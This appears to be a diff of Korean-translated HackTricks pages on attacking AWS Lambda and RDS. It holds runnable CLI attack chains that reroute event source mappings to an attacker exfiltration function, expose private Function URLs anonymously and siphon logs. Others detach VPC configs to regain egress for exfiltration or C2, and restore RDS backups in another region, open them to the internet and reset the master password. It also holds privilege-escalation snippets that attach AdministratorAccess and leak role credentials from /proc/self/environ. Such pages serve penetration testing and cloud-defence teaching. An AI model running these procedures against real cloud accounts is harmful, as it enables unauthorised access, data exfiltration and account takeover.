boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)
```
3) 매핑을 공격자 함수로 재지정
```
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
```
4) 소스에서 이벤트를 생성하여 mapping이 트리거되도록 한다 (예: SQS)
```
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
```
5) attacker function이 배치를 수신하는지 확인
```
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
```
6) 선택적 은폐
```
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
```
참고:
- For SQS ESMs, 큐를 처리하는 Lambda의 실행 역할에는 `sqs:ReceiveMessage`, `sqs:DeleteMessage`, 그리고 `sqs:GetQueueAttributes`가 필요합니다 (관리형 정책: `AWSLambdaSQSQueueExecutionRole`).
- ESM UUID는 동일하게 유지됩니다; 오직 `FunctionArn`만 변경되므로 producers와 source ARNs에는 영향이 없습니다.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,46 @@
# AWS - Lambda Function URL 공개 노출 (AuthType NONE + Public Invoke Policy)
프라이빗 Lambda Function URL을 Function URL AuthType을 NONE으로 전환하고 모두에게 lambda:InvokeFunctionUrl을 부여하는 리소스 기반 정책을 연결하여 공개 비인증 엔드포인트로 만듭니다. 이렇게 하면 내부 함수를 익명으로 호출할 수 있게 되어 민감한 백엔드 작업이 노출될 수 있습니다.
## 악용
- 전제 조건: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
- 리전: us-east-1
### 단계
1) 함수에 Function URL이 있는지 확인하세요 (기본값은 AWS_IAM):
```
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
```
2) URL을 공개로 전환하세요 (AuthType NONE):
```
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
```
3) 비인증 주체를 허용하는 리소스 기반 정책 문(statement)을 추가하세요:
```
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
```
4) URL을 가져와 자격 증명 없이 호출하세요:
```
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
curl -sS "$URL"
```
### 영향
- Lambda 함수가 인터넷을 통해 익명으로 접근 가능해집니다.
### 예시 출력 (인증 없음, 200)
```
HTTP 200
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
```
### 정리
```
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
```
@@ -0,0 +1,51 @@
# AWS Lambda Log Siphon via LoggingConfig.LogGroup Redirection
{{#include ../../../../banners/hacktricks-training.md}}
`lambda:UpdateFunctionConfiguration`의 고급 로깅 제어를 악용하여 함수의 로그를 공격자가 선택한 CloudWatch Logs 로그 그룹으로 리디렉션하세요. 이 방법은 코드나 실행 역할을 변경하지 않고도 작동합니다(대부분의 Lambda 역할에는 이미 `logs:CreateLogGroup/CreateLogStream/PutLogEvents``AWSLambdaBasicExecutionRole`을 통해 포함되어 있습니다). 함수가 secrets/요청 본문을 출력하거나 스택 트레이스로 크래시하면 새 로그 그룹에서 이를 수집할 수 있습니다.
## 필수 권한
- lambda:UpdateFunctionConfiguration
- lambda:GetFunctionConfiguration
- lambda:InvokeFunction (또는 기존 트리거에 의존)
- logs:CreateLogGroup (함수 역할에 있으면 종종 필요 없음)
- logs:FilterLogEvents (이벤트를 읽기 위해)
## 단계
1) sink 로그 그룹 생성
```
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
```
2) 대상 함수의 로그 리디렉션
```
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1
```
`LastUpdateStatus``Successful`이 될 때까지 기다리세요:
```
aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
```
3) sink를 호출하고 sink에서 읽기
```
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
```
## 영향
- 은밀하게 애플리케이션/시스템 로그를 모두 제어하는 로그 그룹으로 리디렉션하여, 로그가 `/aws/lambda/<fn>`에만 도달한다고 예상하는 것을 우회합니다.
- Exfiltrate 함수가 출력하거나 오류에 노출된 민감한 데이터를 탈취합니다.
## 정리
```
aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true
```
## 노트
- 로깅 제어는 Lambdas `LoggingConfig` (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel)의 일부입니다.
- 기본적으로 Lambda는 로그를 `/aws/lambda/<function>`으로 전송하지만, 임의의 로그 그룹 이름을 지정할 수 있습니다; 허용되는 경우 Lambda(또는 실행 역할)가 해당 로그 그룹을 생성합니다.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,12 @@
# AWS Lambda Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
`lambda:PutRuntimeManagementConfig`를 악용하여 함수를 특정 런타임 버전에 고정(Manual)하거나 업데이트를 동결(FunctionUpdate)할 수 있습니다. 이렇게 하면 악성 layers/wrappers와의 호환성이 유지되며, 취약한 구버전 런타임에 함수를 머물게 해서 공격 및 장기 지속성에 유리하게 활용할 수 있습니다.
Requirements: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
Example (us-east-1):
- 호출: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
- 업데이트 동결: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
- 확인: `aws lambda get-runtime-management-config --function-name --region us-east-1`
선택적으로 INIT_START 로그에서 Runtime Version ARN을 추출한 뒤 `--update-runtime-on Manual --runtime-version-arn <arn>`를 사용해 특정 런타임 버전으로 고정할 수 있습니다.
@@ -0,0 +1,63 @@
# AWS Lambda VPC Egress Bypass by Detaching VpcConfig
제한된 VPC에서 Lambda 함수를 강제로 분리하려면 빈 VpcConfig(SubnetIds=[], SecurityGroupIds=[])로 구성 업데이트를 수행합니다. 그러면 함수는 Lambda-managed 네트워킹 영역에서 실행되어 outbound 인터넷 접근을 회복하고 NAT 없는 private VPC 서브넷에서 적용되는 egress 제어를 우회합니다.
## 악용
- 전제 조건: 대상 함수에 대한 lambda:UpdateFunctionConfiguration 권한(검증을 위한 lambda:InvokeFunction 포함), 그리고 코드/핸들러를 변경할 경우 이를 업데이트할 권한.
- 가정: 함수가 현재 VpcConfig로 NAT 없는 private 서브넷을 가리키도록 구성되어 있어(따라서 outbound 인터넷이 차단됨).
- Region: us-east-1
### 단계
0) 아웃바운드 HTTP가 동작함을 증명하는 최소 핸들러 준비
cat > net.py <<'PY'
import urllib.request, json
def lambda_handler(event, context):
try:
ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip()
return {"egress": True, "ip": ip}
except Exception as e:
return {"egress": False, "err": str(e)}
PY
zip net.zip net.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
1) 현재 VPC 구성 기록(나중에 복원할 경우 대비)
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
cat /tmp/orig-vpc.json
2) 빈 리스트로 설정해 VPC 분리
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--vpc-config SubnetIds=[],SecurityGroupIds=[] \
--region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
3) 호출 및 아웃바운드 접근 확인
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
cat /tmp/net-out.json
(Optional) 원래 VPC 구성 복원
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
fi
### 영향
- 함수의 제한 없는 outbound 인터넷 액세스를 회복하여, NAT 없는 private 서브넷에 의도적으로 격리된 워크로드에서 data exfiltration 또는 C2가 가능하게 됩니다.
### 예시 출력 (VpcConfig 분리 후)
{"egress": true, "ip": "34.x.x.x"}
### 정리
- 임시로 수정한 코드/핸들러가 있다면 복원하세요.
- 위에서 저장한 /tmp/orig-vpc.json에 있는 원래 VpcConfig를 선택적으로 복원할 수 있습니다.
@@ -4,7 +4,7 @@
## RDS
자세한 정보는 다음을 확인하세요:
자세한 내용은 다음을 확인하세요:
{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
공격자가 충분한 권한을 가지고 있다면, DB의 스냅샷을 생성한 그 스냅샷에서 **DB를 공개적으로 접근 가능**하게 만들 수 있습니다.
공격자가 충분한 권한을 가지고 있다면, DB의 스냅샷을 생성한 그 스냅샷으로부터 **DB를 공개적으로 접근 가능하도록** 복원하여 노출시킬 수 있습니다.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
이 권한을 가진 공격자는 **DB의 스냅샷을 생성**하고 이를 **공개적으로** **용 가능**하게 만들 수 있습니다. 그런 다음, 그는 자신의 계정에서 해당 스냅샷으로 DB를 생성할 수 있습니다.
이 권한을 가진 공격자는 **DB의 스냅샷을 생성**하고 이를 **공개적으로** **용 가능하게** 만들 수 있습니다. 그런 다음 자신의 계정에서 해당 스냅샷으로부터 DB를 생성할 수 있습니다.
공격자가 **`rds:CreateDBSnapshot`** 권한이 없더라도, 그는 여전히 **다른** 생성된 스냅샷을 **공개**로 만들 수 있습니다.
만약 공격자가 **`rds:CreateDBSnapshot` 권한을 가지고 있지 않더라도**, 그는 여전히 생성된 **다른** 스냅샷을 **공개**로 만들 수 있습니다.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,15 +53,15 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
`rds:DownloadDBLogFilePortion` 권한을 가진 공격자는 **RDS 인스턴스의 로그 파일 일부를 다운로드**할 수 있습니다. 민감한 데이터나 접근 자격 증명이 우연히 기록되면, 공격자는 이 정보를 사용하여 권한을 상승시키거나 무단 작업을 수행할 수 있습니다.
권한 `rds:DownloadDBLogFilePortion`을 가진 공격자는 **RDS 인스턴스의 로그 파일 일부를 다운로드할 수 있습니다**. 민감한 데이터나 인증 정보가 실수로 로그에 기록된 경우, 공격자는 이 정보를 통해 권한을 상승시키거나 무단 작업을 수행할 수 있습니다.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**잠재적 영향**: 유출된 자격 증명을 사용하여 민감한 정보에 접근하거나 무단 작업을 수행할 수 있습니다.
**잠재적 영향**: leaked credentials를 사용하여 민감한 정보에 접근하거나 무단 행위를 수행할 수 있습니다.
### `rds:DeleteDBInstance`
이 권한을 가진 공격자는 **기존 RDS 인스턴스를 DoS**할 수 있습니다.
이 권한을 가진 공격자는 **DoS existing RDS instances** 할 수 있습니다.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
@@ -73,10 +73,94 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
> [!NOTE]
> TODO: 테스트
이 권한을 가진 공격자는 **RDS 인스턴스 스냅샷을 S3 버킷으로 내보낼 수 있습니다**. 공격자가 대상 S3 버킷을 제어는 경우, 내보낸 스냅샷 내의 민감한 데이터에 접근할 수 있습니다.
이 권한을 가진 공격자는 **RDS 인스턴스 스냅샷을 S3 버킷으로 내보낼 수 있습니다**. 공격자가 대상 S3 버킷을 제어할 수 있는 경우, 내보낸 스냅샷 내의 민감한 데이터에 접근할 수 있습니다.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**잠재적 영향**: 내보낸 스냅샷의 민감한 데이터에 대한 접근.
### 스텔스 복원을 위한 리전 간 자동 백업 복제 (`rds:StartDBInstanceAutomatedBackupsReplication`)
리전 간 자동 백업 복제를 악용하여 RDS 인스턴스의 자동 백업을 다른 AWS Region으로 조용히 복제하고 그곳에서 복원할 수 있습니다. 공격자는 복원된 DB를 공개적으로 접근 가능하게 만들고 마스터 비밀번호를 재설정하여, 수비자가 모니터링하지 않을 수 있는 리전에서 별도 경로로 데이터를 접근할 수 있습니다.
Permissions needed (minimum):
- `rds:StartDBInstanceAutomatedBackupsReplication` (대상 리전에서)
- `rds:DescribeDBInstanceAutomatedBackups` (대상 리전에서)
- `rds:RestoreDBInstanceToPointInTime` (대상 리전에서)
- `rds:ModifyDBInstance` (대상 리전에서)
- `rds:StopDBInstanceAutomatedBackupsReplication` (선택적 정리)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (복원된 DB를 노출하기 위해)
Impact: Persistence and data exfiltration by restoring a copy of production data into another Region and exposing it publicly with attacker-controlled credentials.
<details>
<summary>엔드투엔드 CLI (플레이스홀더 교체)</summary>
```bash
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
--region <SOURCE_REGION> \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \
--output table
# 2) Start cross-Region automated backups replication (run in DEST region B)
aws rds start-db-instance-automated-backups-replication \
--region <DEST_REGION> \
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN> \
--source-region <SOURCE_REGION> \
--backup-retention-period 7
# 3) Wait for replication to be ready in DEST
aws rds describe-db-instance-automated-backups \
--region <DEST_REGION> \
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \
--output table
# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn
# 4) Restore to latest restorable time in DEST
aws rds restore-db-instance-to-point-in-time \
--region <DEST_REGION> \
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN> \
--target-db-instance-identifier <TARGET_DB_ID> \
--use-latest-restorable-time \
--db-instance-class db.t3.micro
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
# 5) Make public and reset credentials in DEST
# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION> \
--group-name open-rds-<RAND> --description open --vpc-id <DEST_VPC_ID> \
--query GroupId --output text)
aws ec2 authorize-security-group-ingress --region <DEST_REGION> \
--group-id "$OPEN_SG_ID" \
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'
# 5b) Publicly expose restored DB and attach the SG
aws rds modify-db-instance --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids "$OPEN_SG_ID" \
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
# 5c) Reset the master password
aws rds modify-db-instance --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--master-user-password '<NEW_STRONG_PASSWORD>' \
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
# 6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text)
mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'
# 7) Optional: stop replication
aws rds stop-db-instance-automated-backups-replication \
--region <DEST_REGION> \
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## lambda
lambda에 대한 더 많은 정보는 다음에서 확인할 수 있습니다:
lambda에 대한 자세한 정보는 다음을 참조:
{{#ref}}
../aws-services/aws-lambda-enum.md
@@ -12,11 +12,11 @@ lambda에 대한 더 많은 정보는 다음에서 확인할 수 있습니다:
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
**`iam:PassRole`, `lambda:CreateFunction`, `lambda:InvokeFunction`** 권한을 가진 사용자는 권한 상승시킬 수 있습니다.\
그들은 **새로운 Lambda 함수를 생성하고 기존 IAM 역할을 할당하여**, 해당 역할과 관련된 권한 함수에 부여할 수 있습니다. 사용자는 이후 **이 Lambda 함수에 코드를 작성하고 업로드할 수 있습니다 (예: rev shell)**.\
함수가 설정되면 사용자는 **AWS API를 통해 Lambda 함수를 호출하여 실행을 트리거할 수 있습니다**. 이 접근 방식은 사용자가 Lambda 함수를 통해 간접적으로 작업을 수행할 수 있게 하며, 해당 함수와 연결된 IAM 역할에 부여된 접근 수준으로 작동합니다.\\
**`iam:PassRole`, `lambda:CreateFunction`, 그리고 `lambda:InvokeFunction`** 권한을 가진 사용자는 권한 상승을 할 수 있습니다.\
그들은 **새 Lambda function을 생성하고 기존 IAM 역할을 할당할 수 있으며**, 해당 역할에 연결된 권한 함수에 부여됩니다. 그런 다음 사용자는 **이 Lambda function에 코드를 작성하고 업로드할 수 있습니다 (예: rev shell)**.\
함수가 설정되면, 사용자는 **함수의 실행을 트리거**하고 AWS API를 통해 Lambda function을 호출하여 의도한 동작을 수행할 수 있습니다. 이 방법은 사용자가 해당 IAM 역할에 부여된 접근 수준으로 Lambda function을 통해 간접적으로 작업을 수행할 수 있게 합니다.\\
공격자는 이를 악용하여 **rev shell을 얻고 토큰을 훔칠 수 있습니다**:
공격자는 이를 악용하여 **rev shell을 얻고 토큰을 탈취할 수 있습니다**:
```python:rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
# List roles
aws iam list-attached-user-policies --user-name <user-name>
```
당신은 또한 **람다 역할 권한을 악용**할 수 있습니다.\
람다 역할에 충분한 권한이 있다면, 이를 사용하여 관리자 권한을 부여할 수 있습니다:
또한 lambda 함수 자체에서 **lambda 역할 권한을 악용**할 수 있습니다.\
lambda 역할에 충분한 권한이 있다면 이를 사용해 자신에게 관리자 권한을 부여할 수 있습니다:
```python
import boto3
def lambda_handler(event, context):
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
람다의 역할 자격 증명을 외부 연결 없이 유출하는 것도 가능합니다. 이는 내부 작업에 사용되는 **네트워크 격리 람다**에 유용할 것입니다. 만약 당신의 리버스 셸을 필터링하는 알려지지 않은 보안 그룹이 있다면, 이 코드 조각은 람다의 출력으로 자격 증명을 직접 유출할 수 있게 해줍니다.
외부 연결 없이도 lambda의 role credentials를 leak할 수 있습니다. 이는 내부 작업에 사용되는 **Network isolated Lambdas**에 유용합니다. 알려지지 않은 security groups가 reverse shells를 필터링하고 있다면, 이 코드 조각은 lambda의 출력으로 credentials를 직접 leak할 수 있게 해줍니다.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -72,34 +72,34 @@ return {
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
```
**잠재적 영향:** 지정된 임의의 lambda 서비스 역할로 직접적인 권한 상승.
**잠재적 영향:** 지정된 임의의 lambda 서비스 역할로 직접 privesc.
> [!CAUTION]
> 흥미롭게 보일 수 있지만 **`lambda:InvokeAsync`**단독으로 **`aws lambda invoke-async`**를 실행할 수 없으며, `lambda:InvokeFunction` 필요합니다.
> 비록 **`lambda:InvokeAsync`**가 흥미로워 보여도, **단독으로는** **`aws lambda invoke-async` 실행을 허용하지 않으며**, 또한 `lambda:InvokeFunction` 필요합니다
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
이전 시나리오와 마찬가지로, **`lambda:AddPermission`** 권한이 있는 경우 **`lambda:InvokeFunction`** 권한을 **부여할 수 있습니다.**
이전 시나리오와 마찬가지로, 만약 **`lambda:AddPermission`** 권한이 있다면 **스스로 `lambda:InvokeFunction` 권한을 부여할 수 있습니다**
```bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
**잠재적 영향:** 지정된 임의의 lambda 서비스 역할로 직접 권한 상승.
**Potential Impact:** 지정된 임의의 Lambda 서비스 역할로 직접 privesc.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
**`iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`** 권한이 있는 사용자(그리고 잠재적으로 `dynamodb:PutItem` `dynamodb:CreateTable`)는 `lambda:InvokeFunction` 없이도 간접적으로 **권한을 상승**시킬 수 있습니다.\
그들은 **악성 코드를 포함한 Lambda 함수를 생성하고 기존 IAM 역할을 할당**할 수 있습니다.
Users with **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions (and potentially `dynamodb:PutItem` and `dynamodb:CreateTable`) can indirectly **escalate privileges** even without `lambda:InvokeFunction`.\
They can create a **Lambda function with malicious code and assign it an existing IAM role**.
사용자는 Lambda를 직접 호출하는 대신 기존 DynamoDB 테이블을 설정하거나 활용하여 이벤트 소스 매핑을 통해 Lambda와 연결합니다. 이 설정은 테이블에 새 항목이 추가될 때 Lambda 함수가 **자동으로 트리거**되도록 보장며, 이는 사용자의 동이나 다른 프로세스에 의해 이루어져 Lambda 함수를 간접적으로 호출하고 전달된 IAM 역할의 권한으로 코드를 실행니다.
Instead of directly invoking the Lambda, the user sets up or utilizes an existing DynamoDB table, linking it to the Lambda through an event source mapping. This setup ensures the Lambda function is **자동으로 트리거되도록** 테이블에 새 항목이 입력될 때 보장며, 사용자의 동이나 다른 프로세스에 의해 간접적으로 Lambda function이 호출되어 전달된 IAM role의 권한으로 code가 실행니다.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
DynamoDB가 AWS 환경에서 이미 활성화되어 있다면, 사용자는 Lambda 함수에 대한 **이벤트 소스 매핑을 설정해야 합니다**. 그러나 DynamoDB가 사용되지 않는 경우, 사용자는 스트리밍이 활성화된 **새 테이블을 생성해야 합니다**:
DynamoDB가 AWS 환경에서 이미 활성화되어 있다면, 사용자는 Lambda 함수에 대한 **event source mapping을 설정하기만 하면 됩니다**. 하지만 DynamoDB가 사용 중이 아니라면, 사용자는 스트리밍이 활성화된 **새 테이블을 생성해야 합니다**:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
이제 **이벤트 소스 매핑을 생성하여 Lambda 함수를 DynamoDB 테이블에 연결**할 수 있습니다:
이제 **event source mapping을 생성**하여 **Lambda function을 DynamoDB table에 연결**할 수 있습니다:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
```
DynamoDB 스트림에 연결된 Lambda 함수를 사용하면 공격자 **DynamoDB 스트림을 활성화하여 Lambda를 간접적으로 트리거할 수 있습니다**. 이는 **DynamoDB 테이블에 항목을 삽입함으로써** 수행할 수 있습니다:
Lambda 함수가 DynamoDB stream에 연결되어 있으면, 공격자 **DynamoDB stream을 활성화하여 Lambda를 간접적으로 트리거할 수 있습니다**. 이는 DynamoDB 테이블에 **항목을 삽입하는 것**으로 수행할 수 있습니다:
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
```
**잠재적 영향:** 지정된 lambda 서비스 역할로 직접적인 권한 상승.
**잠재적 영향:** 지정된 lambda 서비스 역할로 직접적인 privesc.
### `lambda:AddPermission`
이 권한을 가진 공격자는 **자신(또는 다른 사람)에게 모든 권한을 부여할 수 있습니다** (이 리소스에 대한 접근을 부여하기 위해 리소스 기반 정책을 생성합니다):
이 권한을 가진 공격자는 **자신(또는 다른 사람)에게 모든 권한을 부여할 수 있습니다** (이것은 리소스에 접근을 허용하는 리소스 기반 정책을 생성합니다):
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -130,23 +130,23 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```
**잠재적 영향:** 코드를 수정하고 실행할 수 있는 권한을 부여하여 lambda 서비스 역할에 직접적인 권한 상승을 초래합니다.
**잠재적 영향:** 코드를 수정하고 실행할 수 있는 권한을 부여함으로써 사용되는 lambda 서비스 역할에 대해 직접적인 privesc를 얻을 수 있습니다.
### `lambda:AddLayerVersionPermission`
이 권한을 가진 공격자는 **자신(또는 다른 사람)에게 `lambda:GetLayerVersion` 권한을 부여할 수 있습니다.** 그는 레이어에 접근하여 취약점이나 민감한 정보를 검색할 수 있습니다.
이 권한을 가진 공격자는 **자신(또는 다른 사람)에게 `lambda:GetLayerVersion` 권한을 부여할 수 있습니다**. 이로써 레이어에 접근하여 취약점이나 민감한 정보를 검색할 수 있습니다.
```bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
```
**잠재적 영향:** 민감한 정보에 대한 잠재적 접근.
**Potential Impact:** 민감한 정보에 대한 잠재적 접근.
### `lambda:UpdateFunctionCode`
**`lambda:UpdateFunctionCode`** 권한을 가진 사용자는 **IAM 역할에 연결된 기존 Lambda 함수의 코드를 수정할 수 있는 잠재력을 가지고 있습니다.**\
공격자는 **IAM 자격 증명을 유출하기 위해 lambda의 코드를 수정할 수 있습니다.**
해당 **`lambda:UpdateFunctionCode`** 권한을 보유한 사용자는 **IAM 역할에 연결된 기존 Lambda 함수의 코드를 수정할 수 있습니다.**\
공격자는 **Lambda 코드를 수정하여 IAM 자격 증명을 exfiltrate할 수 있습니다.**
공격자가 함수를 직접 호출할 수 있는 능력이 없더라도, Lambda 함수가 이미 존재하고 작동 중이라면, 기존 워크플로우나 이벤트를 통해 트리거될 가능성이 높아 수정된 코드의 실행을 간접적으로 촉진할 수 있습니다.
공격자가 함수를 직접 호출할 수 있는 권한이 없을 수도 있지만, Lambda 함수가 이미 존재하고 운영 중이라면 기존 워크플로우나 이벤트를 통해 트리거될 가능성이 높아 수정된 코드 간접적으로 실행될 수 있습니다.
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
@@ -157,27 +157,27 @@ aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
```
**잠재적 영향:** 사용된 lambda 서비스 역할에 대한 직접적인 권한 상승.
**Potential Impact:** 사용된 lambda 서비스 역할로의 직접적인 privesc.
### `lambda:UpdateFunctionConfiguration`
#### env 변수를 통한 RCE
#### RCE via 환경 변수
이 권한으로 환경 변수를 추가하여 Lambda가 임의의 코드를 실행하도록 할 수 있습니다. 예를 들어, 파이썬에서는 환경 변수 `PYTHONWARNING` `BROWSER`를 악용하여 파이썬 프로세스가 임의의 명령을 실행하도록 할 수 있습니다:
